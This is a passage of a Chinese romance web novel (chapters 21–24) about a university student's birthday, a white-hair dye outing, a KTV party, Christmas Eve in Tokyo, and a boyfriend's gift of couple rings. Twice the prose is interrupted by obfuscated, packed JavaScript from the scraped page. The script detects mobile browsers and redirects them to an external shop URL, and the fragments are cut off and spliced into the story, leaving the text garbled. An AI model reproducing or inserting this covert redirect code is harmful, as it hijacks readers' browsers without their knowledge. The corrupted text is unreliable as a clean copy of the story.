“……日本?” 彭悦然看着她的表情,试图找到她在开玩笑的证据。 “去日本看?” “对啊。” “中国人日本人?” “当然是日本人了,我闲的啊,跑去日本看中国人。” “行吧,那就等你的结果。”她又跟赵宜杭确认,“如果她那天来不了,我们就安排前一天,提前给你们过,也行吧?” 赵宜杭刚才像是在走神,听她说话,反应了一下才点头。 “可以。” 21. 小苍兰 许曼曼的十二月过得很幸福。 来到西岭的第二年,她好像终于有点习惯了这边的冬天,没有暖气,也没有雪,但好像也可以平静地度过了。 其实星港也很少下雪,期待下雪已经成为每年冬天的课题,有的话很好,没有也没关系。 可是华都竟然在十二月中旬就迎来了初雪,而且下得很大,飘飘洒洒漫天的雪花,程喻拍了照片给她看,像是和西岭完全不同的季节。 上次来找过她之后,两个人就没再见到,到了学期末,他课业很重,已经一个月没有周末了。 不过说好了许曼曼生日的时候见面,而且因为她抽到了演唱会的票,所以到时直接在东京见。 两人分别从西岭和华都飞,许曼曼下午到,程喻那天下午有考试,要晚上才能到。 就这样,幸运地抽到了演唱会票,又可以和程喻一起去东京过圣诞,怎么可能不幸福? 可是命运总会在她最高兴的时候,适时地提醒她,不要得意忘形。 西岭这边办了一个电竞嘉年华活动,她逃了思政课陪贺潇一起去看比赛,结果刚好那天点了名,又赶上年级查课,被报给了辅导员。 结果就是,贺潇那边无事发生,她却要在周末去补上思政观影活动,还要交一篇读后感。 周六上午,整个宿舍都起得很晚,只有她悲催地从床上爬起来,跑去科教楼的大教室,和一群大一的一起听课。 这活动是要签到的,签完之后,她没精打采地坐到教室后面,正准备补觉,旁边座位却来了人。 看了一眼,竟然是赵宜杭。 许曼曼瞬间清醒,环顾教室。 “你们学院的课?” “嗯。”他说,支着脑袋看她,“你怎么也来了?” “别提了。”她控诉道,“我逃课陪贺潇去看人打游戏,结果我被抓了,她什么事都没有,不但要补这个,还有三千字的读后感要交呢!” 他听了却毫无同情之意,拿出游戏机。 “哦。” “……” 许曼曼看着他玩游戏,这人上周去复查过了,没什么问题,现在支具也不用戴,已经完全康复了。 “喂,你能不能把帽子摘了?”许曼曼挑刺,“上课呢,你玩游戏也就算了,戴什么帽子?” 这人一身黑,头上还戴着一顶棒球帽,不知道的还以为是来抢银行的。 他眼睛都没抬,盯着游戏画面。 “你一个逃课被抓的,就不要关心这种事了吧。” “……” 结果到了提问环节,老师在讲台上看了一圈,目光定格在这边。 “就那边那个戴帽子的男同学吧。” 赵宜杭头都没抬,许曼曼往旁边一看,发现大家的视线都聚集过来,偌大的教室,好像只有他一个戴帽子的人。 “喂!”许曼曼忙给了他一肘,小声提醒,“叫你呢!” 他这才放下游戏机,慢条斯理站了起来。 “不好意思老师,我不会。” 说着不好意思,但声音坦然,分明没有丝毫的不好意思。 等他坐下,别的同学起来回答问题的时候,许曼曼才小声说了句。 “让你摘帽子你不听!看吧!” “别说这个了。”他又拿起游戏机,一副无所谓的样子,“你下课后要做什么?” “没事啊,周六有什么可做的?” “我要去染发,一起吗?” “染发?”许曼曼愣了下,看向他帽子底下的头发,“染什么颜色?” “还没想,你觉得呢?” “我觉得啊……” 许曼曼眼睛转了转,笑嘻嘻的。 “染成绿色的吧!” * 当然没有染成绿色,她跟着去了理发店,在发型师的建议下,最后定了白色。 但是这种就要漂得很浅,时间也要很久,许曼曼很快就后悔了自己跟来的决定。 她是很闲,但还没闲成这样。 等待的过程中吃了饭喝了奶茶,又和发型师助理一起看完了两集电视剧,一直到晚上才染完。 不过效果真的很好,他本来长得就很漫画,染成白毛之后,整个人的气质都变了。在理发店的白光灯下,五官显得更加凌厉,几乎有种让人目眩神迷的感觉。 发型师也一个劲在旁边吹捧,提出今天的费用全免,只需要他露脸拍几张照片,用来给理发店做宣传。 不过想也是被拒绝,少爷又不差这点钱,付了款出门,重新戴回了棒球帽,把刚染的头发遮了起来。 许曼曼跟在旁边,话不多说,直接踮脚给他把棒球帽摘了。 “干吗?” 路灯下他一头白毛十分显眼,夜风吹过,发丝飘摇。 “同学,请你尊重一下我的劳动成果。” 许曼曼拿出手机,看了眼时间。 “现在是北京时间二十点三十五分,大周末的,我在理发店坐了七个多小时,不是为了看你戴帽子的!” “虽然想说你到底劳动了什么。”他看着许曼曼,笑了下,“不过,算了。” “……你这不是说了!” 两个人穿过小巷走去马路,等车的时候,旁边却有音乐声传来。 循声看去,是隔壁地铁站出口,有个女生正在街头直播唱歌。 这前奏有些耳熟,许曼曼不由自主走了过去。 这边的地铁站人流量比较大,女生弹着吉他唱着歌,围了一圈人在看,还有人在用手机拍。 许曼曼站在一边,又听到两句熟悉的旋律,果然是《AThousandYears》。 旁边就是车水马龙的大街,地铁站出口人来人往,却好像因为歌声环绕,有了种默契的安静。 “……Howtobebrave HowcanIlovewhenI''mafraidtofall Butwatchingyoustandalone Allofmydoubt Suddenlygoesawaysomehow……” 许曼曼静静听着,在歌曲的尾声,才转头去看身边的人。 风把赵宜杭的一头白毛吹得有些凌乱,灯光又在上面染上了一层暖色,几乎是一种浅金色。 也许是冬天的风,也许是此刻的歌声,飘摇的心情,不知怎么,他沉默的侧脸,看起来却像是有些难过。 于是许曼曼收回目光,像看到什么不该看到的东西似的,也变得沉默起来。 这首歌唱完,在周围人的掌声中,两个人谁都没有开口,却一起往回走,回到了刚才等车的路口。 莫名的无言气氛中,却是赵宜杭先打破沉默。 “看。” 他指了指街对面,路灯下有个老奶奶正在卖花。 “你要买吗?”许曼曼问了句。 “去看看吧。” 刚好绿灯,两人过马路走了过去。 老奶奶的花摊只有一种花,脚边放了一个不大不小的桶,里面都是白色的小苍兰,看起来卖了一些,大约还剩一半。 见他们过来,老奶奶笑眯眯说了句什么,可她西岭口音很重,说得又快,两个人都是外地的,一时面面相觑,根本听不懂。 “今朝新打的。”她见状指了指桶里的小苍兰,努力用不太通顺的普通话说,“很香,不贵!” 赵宜杭点头,直接伸手示意。 “全要了。” “啊?全要了?”许曼曼比老奶奶还震惊,“你买这么多干吗?” “你没听说吗?”他一本正经的,“很香,又不贵,那当然要买。” 老奶奶把剩下的花全都包好,很大一束,直接递给了许曼曼。 “妹儿长得好乖。” 许曼曼被花香萦绕,一整个晕头转向。 又听到她接了钱,对赵宜杭说:“谢谢娃儿,祝你两个百年好合。” 还没来得及开口否认,赵宜杭倒是先笑了。 “不是,我们只是朋友。” 许曼曼手里抱着花,转头看他,也笑了。 买完花,回到刚才等车的路口,许曼曼从花束里抽了一支递给他。 “给你的。” “……谢谢?” 赵宜杭接过去,闻了闻。 “是挺香的。” “淼淼。”许曼曼叫他。 然后,在他皱眉看过来的时候,对着他伸过手去。 “做好朋友吧。” 这话显然有些出乎他意料,神色微怔,视线从她的脸转到手上,扯了扯嘴角,却没有动作。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781291|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不要装酷。”许曼曼警告他,“就这一次机会,不行算了。” “好。”他立刻伸手过来握住。 手有些凉,许曼曼打了个冷颤,随即缩回手来。 “……啊?” 她本来只是开个玩笑,没想到他竟然这么不经吓。 他似乎猜出了许曼曼的心思,那支花拿在手上,轻轻一绕。 话也说得很轻。 “有些机会,一次抓不住,以后就再也没有了。” * 平安夜前夜,庆生会原本是要在社团活动室办的,但圣诞节活动临时征用场地,用了他们那间放道具,一众人只好转战KTV。 “你不是说校庆活动之后我们地位提升了吗?” 许曼曼作为寿星之一,还要亲自弄装饰,十分的不满。 “怎么要征用场地,还是先用我们的?” “没办法,说是我们那间最合适。”彭悦然还是一贯的擅长自我欺骗,“反正我们没活动,就给他们用一下吧。” “屁,我们位置又偏地方又小,楼层还高!轮滑社街舞社哪个不比我们合适?” “哎呀,玩嘛,在哪里不一样,我本来还怕我们太吵会被警告呢,出来也好!” 许曼曼哼了一声,贺潇手上拿着气球,悄悄凑了过来。 “借口,根本就是社团联那个负责人表白被拒,蓄意报复。” “啊?”她愣住了,“跟谁表白?彭悦然?” “……你脑子呢?!”贺潇无语,“赵宜杭啊,还能有谁?!” “什么?就那个头发很长,看起来有点傲慢的女生?” 一听到八卦,许曼曼立刻精神起来。 “什么时候?你怎么知道的?” “她美术学院的嘛,我们有一节大课一起上,听她们学院的人传的。”贺潇摇了摇头,“她之前都没和赵宜杭说过话吧,也不知道怎么想的。” “但是她很漂亮啊,想表白就表白咯,还要挑日子吗?” “说起挑日子。”贺潇往旁边看了看,神秘一笑,“你猜今晚会有几个?” “你说我们社团?” “对啊,一年级这几个,不都是冲着他来的。” “太夸张了吧?” “夸张?十八岁生日,多重要的日子,一生只有一次,要不是不喜欢他,我绝对也要表白一个。” “有没有人管管啊?十九岁生日难道一生中会有两次吗?”许曼曼不满道,“不是说好了两个人一起过生日,怎么着,我来给少爷当陪衬的是吧!” “别气,我记得呢。”贺潇安慰她,“礼物不是刚也给你了。” “滚一边去!” 不提礼物还好,一提许曼曼更是来气。 “送我件电竞队服什么意思,还陪你去看比赛是吧?上次就我一个人被抓,凭什么你什么事都没有?” “对,真懂我。”贺潇笑起来,“下次还找你!” 说归说,许曼曼还是很给面子地穿上了那件队服,不像寿星,倒像个误入现场的电竞选手。 另一位寿星则是姗姗来迟,在所有人都到齐之后,才主人公一样大驾光临。 这又是他染发之后第一次露面,更是一进来就一片惊叹。 就连刚才还说着不喜欢他的贺潇,也有些蠢蠢欲动。 “妈呀好帅,不然我也顺便表白一个吧?” 许曼曼翻了个白眼。 但今晚的确是一种适合表白的气氛,她也承认。 KTV的包厢很大,灯光昏暗,屏幕又明亮,明灭的光影打在身上,会给人一种暧昧的错觉,好像什么都可能发生。 直到切蛋糕之前,彭悦然站了出来。 这位姐大概喝多了点,突然领导班子上身,拿过话筒就开始上价值。先是回望,再是凝聚,最后展望未来。 还搞起了现场互动环节。 “赵宜杭,马上就十八岁了,你有什么打算?” 此话一出,在场所有人的目光,自然都聚焦在了他身上。 人正坐在角落的沙发里,显然没有在听彭悦然的重要讲话,闻言才抬眼。 他染了头发之后气场很强,莫名给人一种压迫感,于是现场一时陷入寂静。 然后他懒洋洋地笑了。 “打算谈恋爱。” 22. 下雪 许曼曼平安夜下午落地东京。 她自己一个人,先是入住的时候酒店前台祝她生日快乐,进到房间,又在茶几上发现了礼物。 有甜品盒和香槟,还有一张手写的生日贺卡,甚至用的是中文。 她美滋滋地看完,拍了照片给程喻看,不过他正在考试,暂时是看不到的。 又想起还有另一个生日的人,也好心发给他看了下。 M.M:18岁生日快乐淼淼!礼物回去给你 赵宜杭倒是立刻回复。 38.6:再说一遍,不准这么叫我 38.6:还有,别回去了,现在给吧 顺带一张照片,窗外是还没有亮灯的东京塔。 M.M:???? 她一个视频打回去,赵宜杭过了几秒接起来,没有露脸,摄像头直接对准窗外,的确是此时此刻的东京没错。 “怎么回事?”许曼曼有点懵,“你跟踪我?” “……” 赵宜杭把摄像头转回来,满脸写着无语。 “到底怎么回事?你怎么会在这里?”许曼曼连珠炮似的发问,“你几点的航班?我在机场也没见着你啊?” “十二点。” “怎么可能?我九点半的,现在才刚到——” 许曼曼突然反应过来。 “是昨晚十二点?” “嗯。”他指出,“所以是你跟踪我。” “……谁要跟踪你啊!”许曼曼翻了个白眼,又问,“所以你是来干什么?” “过生日?”他语气闲闲,“来拿你给我的礼物?” “……神经。” 不过程喻要很晚才能到,许曼曼反正一个人,住的酒店离得也不远,于是就约了一起吃饭。 出来的时候天色已经暗了下去,不远处的东京塔也亮起了灯。 两人约在六本木见面,许曼曼到欅坂的时候,还没到点灯时间,天桥上已经很多人了。 东京圣诞节的气氛很浓,到处都是圣诞相关的装饰,圣诞橱窗布置得又大又漂亮。 她正研究着旁边跳舞的小熊,赵宜杭又无声无息,幽灵一样不知道从哪里冒了出来。 “礼物呢?” 她吓了一跳,转过头去,骂人的话都在嘴边了,却又生生咽了下去。 赵宜杭也正看橱窗,灯光映着他的侧脸,恰到好处的光影交叠,帅得有些不太真实。 他一头白毛其实已经掉了点色,现在是一种白金的感觉,也因为这灯光的渲染,一整个流光溢彩。 察觉到许曼曼的视线,他看过来。 “干吗?” “我知道你来干什么的了。” 许曼曼看着他,语气真诚。 “你是来为国争光的。” “……” * 这边的圣诞点灯是五点钟,还有十几分钟,天桥上对着东京塔的那一边,早就已经里三层外三层,都在等着拍灯亮起来的一瞬间。 一片相机手机的海洋里,两个人谁都没有上前的想法,站到了另一边。 这边只有零星几个人,对着天色渐晚的天空,今天的风有些大,吹得路边的树叶簌簌作响。 许曼曼趴在栏杆上,看下面经过的车子。 “我本来没打算和你一起看的。” 赵宜杭背靠着栏杆,闻言笑了声。 “谁不是呢。” 听到这话,许曼曼侧头看了他一眼,思考片刻。 “哎。”她也背转过身来,“你老实说,到底来这里干吗?” “不是说了吗,过生日啊。” “我知道过生日!问题是跟谁过!” 许曼曼顿了顿,问他。 “W,是不是?” 他漫不经心的表情终于有了点变化,收敛起笑意,却没有回答。 于是许曼曼更加肯定了:“你之前说姐姐出国一年,所以她来的是日本,而且就是那个W吧?” 他沉默着的这时候,刚好到了五点钟,路边树上的彩灯全都亮了起来,伴随着大家的小声惊呼,整条街也瞬间映得亮堂堂,铺开一片灿烂。 东京这个平安夜的夜晚,好像在此刻真正开启了。 两人默契地转身,去看沿街的灯光,就这么一路延伸下去,和天空上最后一点晚霞连到了一起。 “她叫姜蔚。” 赵宜杭突然开口,没头没尾的一句。 许曼曼转头看他,见他没有说下去的意思,又问。 “那她知道你来了吗?” “不知道吧。” “……知道就知道,不知道就不知道。”许曼曼无语,“‘不知道吧’是什么意思?” “她有祝我生日快乐。”他说,“就在你发消息之前。” “那你没说?” “没有。” “为什么啊?”许曼曼大为不解,“干吗不告诉她你来了?” “因为今天没有下雪。” 他抬头看了眼天空。 许曼曼也跟着抬头,天已经全黑了,在地面上光的映衬中,呈现出一种墨蓝色。 “跟下不下雪有什么关系?”她说,有些摸不着头脑,“你在说什么?” 他却没有说下去,只是一笑。 街灯亮起来,对面终于没了那么多人,有了可以过去的空间。 于是许曼曼一边琢磨着这句话,一边走了过去。 有东京塔的这一边,视野果然不一样。 分明是同样的树,同样的灯,可画面上多了这一抹亮色,看起来就好像格外美。 她算是那种不太能欣赏城市地标的人,现在这么远远看过去,突然也有些能理解了。 于是把东京塔框在画面中央,按下了快门。 拍完照片之后开始觉得饿,天桥上风很大,吹得她浑身发冷,肚子也是空落落。 “吃什么?”她问赵宜杭。 这人趴在栏杆上,没有拍照,正懒洋洋支着下巴。 “你本来是怎么打算的?” “本来?”许曼曼哼了一声,“我安排得很好的,先去美术馆打卡,然后吃猪排饭,现在美术馆都要到闭馆时间了。” “那猪排饭呢?” “猪排饭是看网上推荐的,就在美术馆附近,我可不会特意为了它过去,而且——” 她伸手在两人之间比划了一下。 “我们好歹也过生日,一起去吃猪排饭,不太对吧?” “是有点。” “但是怎么办。”许曼曼犯起愁来,“今晚的东京,但凡好一点的餐厅,临时订位肯定没戏。” “是啊。”他突然笑了,“但如果提前订了,就没事了。” “废话。”许曼曼翻了个白眼,“这不就是没有——” 她看着赵宜杭脸上的表情,话音顿住。 “你订了?” “嗯,就在这附近,要去吗?” “什么鬼?”许曼曼震惊道,“你提前多久订的?” “半年前吧。” “……半年前?” “所以我说。”他挑了挑眉,“应该算你跟踪我。” “……算个屁,算你早有诡计。” 不过,许曼曼犹豫了下。 “但你应该是为了和她一起去才订的吧?我去算怎么回事啊?” “也不算是。” 他收回目光,轻描淡写地说。 “订餐厅和来东京,本质上是两回事。” 许曼曼听不懂,许曼曼很困惑。 “反正我也不是很想去。”他说,“不然还是去吃猪排饭吧。” “……你钱多烧的啊?” * 还是去了,竟然真是附近一间很难订的餐厅。 许曼曼之前做攻略的时候有看到过,这里平安夜的位置,是要提前半年就预订的。 而且是景观位,落地窗边正对着东京塔,脚下就是一整个东京。 不过餐厅里几乎都是情侣,不像是过圣诞,倒像是情人节,浓情蜜意得很。 他们两个身在其中,就这样被情侣们环绕着过生日。 许曼曼是真的饿了,很快就屏蔽了周围的环境,一门心思吃饭,等着开胃菜、前菜一道道地上,很慢地填饱肚子。 然后在上菜的间隙,对赵宜杭进行深度访谈。 只是他极不配合,问什么也问不出来,没有半点袒露真心的想法。 “你这样不行呀。”许曼曼教育他,“昨天晚上彭悦然问你,你不是说想谈恋爱吗,来,要说出来 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昨天晚上还在西岭一起吹蜡烛的两个人,过了一天,又换了个城市一起过生日。 “也行,刚好多许一个愿望。” 许曼曼对着蛋糕上跳动的火光,闭上了眼睛。 许完愿望睁眼,对上赵宜杭的眼睛。 “你许了吗?” 他点头,然后两人一起,吹灭了蜡烛。 “我知道这很俗气,每个人都会这么问。”许曼曼看着他,“但我还是想问,你许了什么愿望?” 赵宜杭把星星蜡烛拿开,轻声笑了。 “我也知道每个人都会说,愿望说出来就不灵验了,但我还是要说——” 他顿了顿,看了眼外面灯火辉煌的东京。 “希望今天能下雪。” * 但是东京今天没有雪。 天气预报没有,从餐厅出来,外面也还是干冷的风,没有半点潮湿的空气。 许曼曼仰头去看,看不到丝毫要下雪的迹象。 “这也下不了雪呀。”她随口问道,“你到底为什么这么想下雪?” 这问题今天她已经问过好几次了,赵宜杭都装没听到。 本以为这次也还是一样,没想到他竟然回答了。 “说好了下一次下雪的时候见面。” 许曼曼愣了愣,转头去看他。 他也微微仰着脸,却不是在看天空,而是在看旁边那棵圣诞树。 在广场中央立着的巨大一棵,挂满了彩灯和各色装饰,围了不少人正在拍照。 说不清他是什么表情,视线的落点落在一个小小的雪人上,大概是灯光的原因,他的眼神看起来有点温柔。 “可是。” 许曼曼有些不想打破眼前这情景,可还是开口说道。 “西岭不会下雪的。” “对。”他笑了,“所以只好期待东京的雪。” 如果东京能在今天飘起雪,那大概才是奇迹般的概率。 许曼曼忍不住伸出手去,想接住空气中并不存在的雪花。 可雪花竟然真的落到了手心。 在突然响起的音乐声,和周围人的欢呼中,在手心留下一点凉意。 她抬起头,才发现空中飘起了泡泡雪。 竟然就是从这棵圣诞树顶上飘落的。 难怪这么多人围在这里,上面大概弄了什么造雪装置,过一段时间就会喷一次,模拟飘雪的效果。 风中带了一点甜香,在灯光的映照下,亮晶晶的漂浮物在空中飞舞,盘旋,然后落下。 明明四周是喧闹的人群,可风吹过灯串的一瞬间,好像都能听到泡泡破裂的声音。 ——噗,噗,噗。 灯光不断变幻着颜色,金色的、蓝色的、银白色的,给这落雪染上了不同的色彩。 “下雪了。” 她转头去看赵宜杭,声音下意识地放得很轻,像是怕破坏了这份静谧。 他也正伸手去接这雪花。 然后,在这漫天飘落的泡泡雪中,半梦半醒似的说了句。 “是啊,下雪了。” 23. 戒指 许曼曼一个人回去。 刚才一场突如其来的人造雪,赵宜杭却好似被一道天雷击中,打通了任督二脉,和她道了别就匆匆离开。 只是想象着接下来可能会发生什么,她走路的步伐都变得很轻快,感觉随时可以跳起来。 东京夜晚的街道,周围过圣诞节的人群中,她一个人逆着人潮走着,兀自傻笑。 然后在路边等红绿灯的时候,接到了电话。 没想到会是程喻,她有些奇怪地接了起来。 “怎么回事?你现在不是应该在飞机上吗?” “没有。”他周边环境同样的嘈杂,气息有些喘,“我改签了。” “哦,那今天应该到不了了?”许曼曼问,“改成几点了?” “怎么会。”他说,声音里全是笑意,“我到了。” “……到了?” 信号音响起来,红灯变绿灯,周围人都往对面走过去,只有许曼曼戳在原地没动。 “到哪里了?” “你现在在哪里?”他说,“还在六本木吗?” 之前和赵宜杭在天桥看彩灯的时候,她也有把拍的照片发给程喻,可是他没回。 许曼曼有些茫然地盯着对面的绿灯:“对。” “那你别动,我来找你。” “你在哪里?” “我到六本木了。” 本来以为是到东京,没想到竟然是六本木。 许曼曼有些发愣,过了片刻才回话。 “那我把位置发你。” “好。”他又强调了一遍,“你别动。” 挂断电话,许曼曼站在原地,把当前位置分享给了他。 随后有些茫然地左右环顾,大脑仍旧有些空白。 红绿灯已经变化了,周围又聚集起了人,她索性退到了后面。 树上的彩灯洒下一片莹澈的光亮,照得她心里一片空茫茫,想抓住点什么又抓不到。 有风吹过,手心里却莫名出了汗,情绪也有些焦躁。 直到旁边传来一声熟悉的—— “曼曼!” 循声望去,一身黑色大衣,看起来有些风尘仆仆的程喻,正笑着朝她挥手。 她没回话,却不由自主朝他走过去,最后几步几乎是跑着的。 来来往往还有人,管不了那么多了,她就这么迎面扑进了他怀里。 手心的汗在风中蒸发,那种心落不到实处的感觉终于消失,情绪妥帖地收了回来。 她紧紧抱住程喻,脸埋进他怀里,几乎有种想哭的冲动。 这泪意却有些不明不白的。 明明刚才还很开心,还能边走边笑,怎么在听到他声音的一瞬间,就变得有些想哭了呢? 程喻回抱住她,在她耳边轻声说了句。 “生日快乐。” * 在大街上当众拥抱,不是许曼曼的做事风格。 被极端情绪冲昏头脑之后,她清醒过来,立刻放手,推开了程喻。 周围人其实没什么反应,东京人只走自己的路,经过的一切都是空气。 程喻大概也猜到了她的想法,很配合地放手。 “怎么,不是在机场嫌我丢脸的时候了?” “这又不一样。”许曼曼理直气壮,“而且这是国外,反正没人认识,丢脸就丢脸吧。” “行。” 程喻笑着,顺手揽过她肩膀。 “这可以吧?” 许曼曼哼了一声,问他。 “你怎么回事?怎么改签了?” “提前交卷了。”他说,“实在太想你了,迅速答完题,改了提前半小时的航班。” “半小时?”许曼曼无语,“你有毛病吧?半小时有什么必要改?” “说了嘛,太想你了。”他笑着看她,“而且航班不一样,提前半小时出发,可以提前一个多小时到达。” “你到时不及格,可不准把责任怪到我头上。” “不会。”他攥住她的手,“怎么这么凉?” 许曼曼由着他给自己暖手,又问。 “你行李呢?” “放到酒店了。” 他边给她暖着手,边往旁边看了眼。 “一起去看看吧?” 两个人重新去到天桥上,这个时间看过去的景色,好像跟之前又不太一样。 天色彻底暗下来之后,东京塔在远处静静伫立着,暗沉沉的天幕之下,像一丛点燃的火光,却莫名有些萧瑟。 不过心情也有些不一样,许曼曼拍完照,往旁边看,刚好对上程喻的视线。 “干吗?” “没什么。” 见她收起手机,程喻又牵过她的手。 他的手真暖,许曼曼靠到他肩膀上,突然觉得天桥上也没有那么冷了。 “程喻。” “嗯?” “我十九岁了。” “是啊。”他另一只手伸过来,拍拍她脑袋,“长大了。” “还记得你十九岁那一天——” “曼曼。”程喻无奈地说,“我错了。” “……没让你道歉!” 这人认错的速度太快,许曼曼被转移话题,一时忘了自己要说什么了。 于是恨恨地掐他手心:“算了,还是道歉吧,再说两句我听听。” “我错了,我应该有话直说,不该一个人闹别扭,不该吃莫名其妙的醋,喜欢就要说出来,不该胡思乱想自以为是自作主张——” “好了好了!”许曼曼直起身来,“成语大全呢你?一听就不是真心!” “怎么不是真心?” 程喻牵着她的手,一起放到了自己胸前。 “不信你摸摸。” 他语气认真,眼睛里却是调笑的意思,闪着恶作剧的光。 许曼曼先是愣住,随即直接锤了他一下。 “……程喻你恶不恶心啊?!” * 回去酒店,已经是十一点多了。 许曼曼刚要扑到床上去,一个转眼,却看到桌上摆着的东西。 “嗯?”她愣了下,转头去看程喻。 他神色如常,脱了外套,走过来把蛋糕从盒子里拿了出来。 “蛋糕?”许曼曼看着他往上面插蜡烛,“你什么时候买的?” 看了眼包装盒,是东京很有名的一家甜品店,她之前刷攻略的时候有看到过,而且这款还是店里招牌的柠檬蛋糕,排队都不一定能买到。 “之前就订了,找人送过来的。” 他轻描淡写的,又在19的数字后面,插上一个小兔子蜡烛。 “不过,这蜡烛是我自己带过来的。” “我今年都许两次愿了。”许曼曼说,“会不会太贪心了?” “怎么会。” 程喻找来打火机,给蜡烛点上了火。 “多少个愿望都可以,而且,这个是我的,和别人的都不一样。” 粉色的兔子蜡烛闪着光,许曼曼和它对视着,程喻把灯关上了。 房间里只剩蜡烛这一点光,昏黄跳动的光影间,程喻又说了句。 “曼曼,十九岁生日快乐。” 许曼曼闭上眼睛,第三次许下愿望,然后吹熄了蜡烛。 开了灯,程喻又像变魔术似的,不知道从哪里拿出了一个小小的首饰盒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781293|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 许曼曼看了眼盒子,又看眼他,没伸手接。 他也没说话,打开首饰盒,把里面的东西放到了她面前。 是一对对戒。 这下她更加不接了,抬眼看他,不自觉地把手缩进了袖子里,整个人一副如临大敌的样子。 对上她警惕的眼神,程喻倒笑了。 像是早就料到她会是这个反应似的,语气柔和。 “没别的意思,只是情侣戒。” “程喻你……” 许曼曼不知道该怎么说,也觉得自己这反应有点夸张,可手却又往袖子里缩了缩。 “我觉得吧……也不是,就是……” 她没“就是”出什么来,程喻合上盖子,又去拿出另一个大一点的首饰盒,也是同样的品牌。 然后,许曼曼眼睁睁看着他打开,这次里面是一条项链。 倒不是什么花哨的样式,很简单的一条素链。 “知道你手上不喜欢戴东西。”他说,“如果不想戴的话,挂到这上面,当项链也可以。” 这人怎么连这个都准备了,许曼曼眼睛来来回回的,看看他再看看项链。 犹豫了下,最后勾勾手。 “戒指拿过来。” 他把戒指盒递过来,她打开来看了眼,把那枚女戒拿了出来。 “我收下了。” 他立刻高兴起来,又有些小心翼翼地问。 “那剩下这枚我能戴吗?” “……干吗问我,你想戴就戴呗。”许曼曼说,“我又不是什么恶霸。” “当然要你同意才行。” 他这么说着,却立刻把男戒拿出来,戴到了左手中指上。 “其实就是我想戴。” “那算了。”许曼曼有些别扭地说,“我也戴一下。” 对上他的眼神,又赶紧强调。 “暂时的啊。” “嗯。” 她也戴到了中指上,伸手给他看。 “刚刚好哎,你怎么知道我尺寸的?” “我怎么会不知道。” 他笑了声,拉过她的手,在手指上打着圈,轻轻摩挲着。 又问她:“项链也试一下?” “行吧。” 程喻拿出项链帮她戴,把她的头发轻轻拨到前面,有点笨手笨脚的。 许曼曼微微低着头,突然想起一件事来。 “你知道吗,我有次做梦,梦到有人送我一根项链,上面还挂了一个蓝色的小熊。那个梦特别真实,醒来我都还记得,尤其那个小熊的样子,现在闭上眼睛感觉还像在眼前。” 程喻手上的动作停了停:“我怎么不知道?” “我做的梦你怎么会知道?” “但你以前,不管做了什么梦都会告诉我的。”他声音里有赌气的意思,“这个怎么没说。” “是你不理我那段时间做的,满意了吗!” “哦。” 他立刻没话了,又老老实实戴项链。 弄好了之后,依然笨手笨脚的,帮把她头发顺回去。 “好了。” 许曼曼上手揪着项链,还在回忆。 “真奇怪,一般做了梦很快就忘了,怎么这个还记得这么清楚。” “不准记得。” “嗯?” 程喻看着她的眼睛,压低声音,像在说什么催眠咒语似的。 “赶快忘了。” “你说让我忘我就忘了啊?”许曼曼瞪他,“而且为什么要忘?” “因为。” 他手环过她的腰,把她带入自己怀里。 “别人都不准送你项链,只有我可以。” 24. 幸运 许曼曼醒来就知道晚了。 都不用看时间,窗帘没拉,看到照进来的阳光,大概已经是下午了。 她几乎是立刻就起床,从来没这么迅速,更没这么清醒过。 穿好衣服去找手机,不知道什么时候扔在了地上,看眼时间,果然已经下午一点多了。 “该死!” 她连给手机充电都顾不上,急忙冲去洗手间。 收拾好出来,又立刻坐到镜子前开始化妆。 只是越忙越找不到东西,上好粉底,粉扑却怎么翻都没有,干脆把化妆包倒了过来,丁零当啷的,里面的东西全都摊到桌上,这才找到了。 她在这边忙得不行,床边传来悠悠一声。 “早。” 循声看去,程喻不知道什么时候醒的,还在床上躺着,正侧朝这边看她。 看到他这副悠闲的样子,许曼曼火从心头起。 “早?你不看看现在几点了!” “几点了?” 他声音带着刚睡醒的沙哑,语气却又懒洋洋的。 “快两点了!我周边入场时间预约的是三点半!要来不及了!” 说着,许曼曼遮瑕也找不到了,又是一通翻找。 “你平常不是都能早起的吗?怎么今天不起了?” “哦,对不起。” 他在笑。 “我该多谢你的信任吗?昨晚都……那样了,你还觉得我能早起?” “……滚!” 许曼曼顺手抄起一把化妆刷,朝他扔了过去。 不过没砸到人,化妆刷重量不够,飞到一半就软趴趴落到地上了。 好容易找到遮瑕,她接着化了一会儿,见他还是不起,躺在那里悠哉看着自己化妆,立刻瞪眼睛。 “快起床!你也有事要做!我应援扇还没弄好,赶紧起来给我弄,今天要是拿不到饭撒,你就死定了!” 程喻这才起床,被她安排坐在沙发上给应援扇收尾。 这应援扇是她自己找了模板做的,从上周就开始做,拖拖拉拉的一直没弄好,上面最重要的饭撒文字还没贴完。 于是来的时候把材料也一起带着了,本来想着演唱会之前还有时间,抽一两个小时就弄完了,没想到竟然拖到现在。 她教了程喻怎么贴反光纸,就让他照着示意图来,自己则赶快回到桌前化妆。 时间虽然紧迫,但该有的步骤一个也不能少,甚至还要更多,毕竟要去见爱豆,是一点都不能敷衍的。 她就这样又着急又细致地化好妆,看眼时间——还好,来得及。 换衣服之前,先过去检查程喻那边的情况。 他也在收尾阶段了,还剩最后一个字要贴,许曼曼拿起半成品扇子,整体看了眼效果。 